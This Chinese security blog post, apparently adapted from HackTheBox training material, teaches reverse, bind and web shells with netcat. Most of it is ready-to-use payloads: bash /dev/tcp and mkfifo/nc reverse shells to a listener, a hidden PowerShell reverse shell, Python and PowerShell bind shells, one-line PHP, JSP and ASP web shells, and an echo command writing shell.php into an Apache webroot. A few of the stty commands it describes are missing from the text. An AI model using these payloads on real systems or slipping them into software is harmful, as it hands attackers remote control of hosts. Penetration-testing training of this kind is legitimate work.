大横幅1
大横幅2
到期时间:永久 到期时间:推广
小横幅3 小横幅4
  1. 当前位置:网站首页 > 实用工具

netcat的三种shell操作


0x00 三种shell

shell 主要分为三种类型:反向 Shell、绑定 Shell 和 Web Shell。这些 shell 中的每一个都有不同的与我们通信的方法来接受和执行我们的命令。

外壳类型 沟通方式
Reverse Shell 连接回我们的系统并通过反向连接让我们控制。
Bind Shell 等待我们连接到它并在我们连接后给予我们控制权。
Web Shell 通过 Web 服务器通信,通过 HTTP 参数接受我们的命令,执行它们,并打印回输出。

0x01 Reverse Shell

1. netcat

第一步是 netcat在我们选择的端口上启动监听器:

nbtopman@htb[/htb]$ nc -lvnp 1234
​
listening on [any] 1234 ...

我们使用的标志如下:

参数 描述
-l 侦听模式,等待连接到我们。
-v 详细模式,以便我们知道何时收到连接。
-n 禁用 DNS 解析并仅从/到 IP 连接,以加快连接速度。
-p 1234 正在侦听的端口号 netcat,反向连接应该发送到。

2. 反向shell命令

以下命令是我们可以用来获得反向连接的可靠命令,适用bash于 Linux 受感染主机和PowershellWindows 受感染主机:

Linux:

bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f

Windows:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.10",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

我们可以利用我们在远程主机上的漏洞来执行上述命令之一,即通过 Python 漏洞或 Metasploit 模块,以获得反向连接。一旦我们这样做了,我们应该在我们的 netcat监听器中接收到一个连接:

nbtopman@htb[/htb]$ nc -lvnp 1234
​
listening on [any] 1234 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.10.1] 41572
​
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

如我们所见,在我们的 netcat侦听器上收到连接后,我们能够键入我们的命令并直接在我们的机器中取回其输出。

0x02 Bind Shell

在远程主机上执行 Bind Shell Command,将开始侦听远程主机上的端口并将该主机的 shell(即 Bashor  PowerShell)绑定到该端口。我们必须使用 netcat连接到该端口,我们将通过该系统上的 shell 获得控制权。

注意:我们将在远程主机上的端口“1234”上启动一个监听连接,IP 为“0.0.0.0”,以便我们可以从任何地方连接到它。

以下是我们可以用来启动Bind Shell 的可靠命令:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();

一旦我们执行了 bind shell 命令,我们应该有一个 shell 在指定的端口上等待我们。我们现在可以主动连接到它了。

我们可以使用 netcat连接到该端口并获得到 shell 的连接:

nbtopman@htb[/htb]$ nc 10.10.10.1 1234

 

 

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

0x03 升级tty

一旦我们通过 Netcat 连接到 shell,我们会注意到我们只能键入命令或退格键,但我们不能左右移动文本光标来编辑我们的命令,也不能上下移动以访问命令历史记录。为了能够做到这一点,我们需要升级我们的 TTY。这可以通过将我们的终端 TTY 映射到远程 TTY 来实现。

有多种方法可以做到这一点。出于我们的目的,我们将使用该 python/stty方法。在我们的 netcatshell 中,我们将使用以下python 命令将我们的 shell 类型升级为完整的 TTY:

python -c 'import pty; pty.spawn("/bin/bash")'

运行此命令后,我们将进入 ctrl+zshell 后台并返回本地终端,然后输入以下 stty命令:

一旦我们输入 fg,它将把我们的 netcatshell 带回前台。此时,终端会显示一个空行。我们可以 enter再次点击以返回我们的 shell 或输入 reset并点击 enter 将其恢复。此时,我们将拥有一个功能完备的 TTY shell,其中包含命令历史记录和其他所有内容。

我们可能会注意到我们的 shell 并没有覆盖整个终端。为了解决这个问题,我们需要修改一些变量。我们可以在我们的系统上打开另一个终端窗口,最大化窗口或使用我们想要的任何大小,然后输入以下命令来获取我们的变量:

第一个命令向我们展示了 TERM变量,第二个命令分别向我们展示了 终端 的 rows值 columns。现在我们有了变量,我们可以回到我们的 netcatshell 并使用以下命令来更正它们:

一旦我们这样做了,我们应该有一个 netcat使用终端的全部功能的 shell,就像 SSH 连接一样。

stty是linux下改变和打印终端设置的常用命令。
stty size 打印终端行数和列数

0x04 Web Shell

首先,我们需要编写我们的 web shell,它会通过 GET请求获取我们的命令,执行它,然后打印它的输出。Web Shell 脚本通常是一行代码,非常短且易于记忆。以下是常见网络语言的一些常见的简短网络外壳脚本:

PHP:
<?php system($_REQUEST["cmd"]); ?>
jsp:
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
asp:
<% eval request("cmd") %>

一旦我们有了我们的 web shell,我们需要将我们的 web shell 脚本放入远程主机的 web 目录 (webroot) 以通过 web 浏览器执行脚本。这可以通过上传功能中的漏洞实现,这将允许我们将我们的一个 shell 写入一个文件,即 shell.php上传它,然后访问我们上传的文件以执行命令。

然而,如果我们只通过漏洞利用远程命令执行,我们可以将我们的 shell 直接写入 webroot 以通过 web 访问它。因此,第一步是确定 webroot 的位置。以下是常见网络服务器的默认 webroots:

网络服务器 默认 Webroot
Apache /var/www/html/
Nginx /usr/local/nginx/html/
IIS c:\inetpub\wwwroot\
XAMPP C:\xampp\htdocs\

我们可以检查这些目录,看看哪个 webroot 正在使用,然后 echo用来写出我们的 web shell。例如,如果我们要攻击运行 Apache 的 Linux 主机,我们可以 PHP使用以下命令编写一个 shell:

echo '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/shell.php

一旦我们编写了 web shell,我们就可以通过浏览器或使用 cURL. 我们可以访问受 shell.php感染网站上的页面,并使用 ?cmd=id执行 id命令:

另一种选择是使用 cURL:

nbtopman@htb[/htb]$ curl http://SERVER_IP:PORT/shell.php?cmd=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

我们所见,我们可以不断更改命令以获取其输出。web shell 的一大好处是它可以绕过任何防火墙限制,因为它不会在端口上打开新连接,而是在 或 上的 web 端口上运行 80, 443或者 web 应用程序正在使用的任何端口。另一个好处是,如果受感染的主机重新启动,web shell 仍然存在,我们可以访问它并执行命令,而无需再次利用远程主机。

另一方面,web shell 不像反向和bind shell 那样具有交互性,因为我们必须不断请求不同的 URL 来执行我们的命令。尽管如此,在极端情况下,还是可以编写 Pyton脚本来自动执行此过程,并在我们的终端内为我们提供一个半交互式的 web shell。


本文最后更新于2023-3-7,已超过 3个月没有更新,如果文章内容或图片资源失效,请留言反馈,我们会及时处理,谢谢!
获取更多资讯请加入交流群

    协助本站SEO优化一下,谢谢!
    关键词不能为空
版权说明

本文地址:http://kirinbk.cn/post-988.html
免责声明:本站文章仅用于科普及教育用途,远离犯罪!

发表评论

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注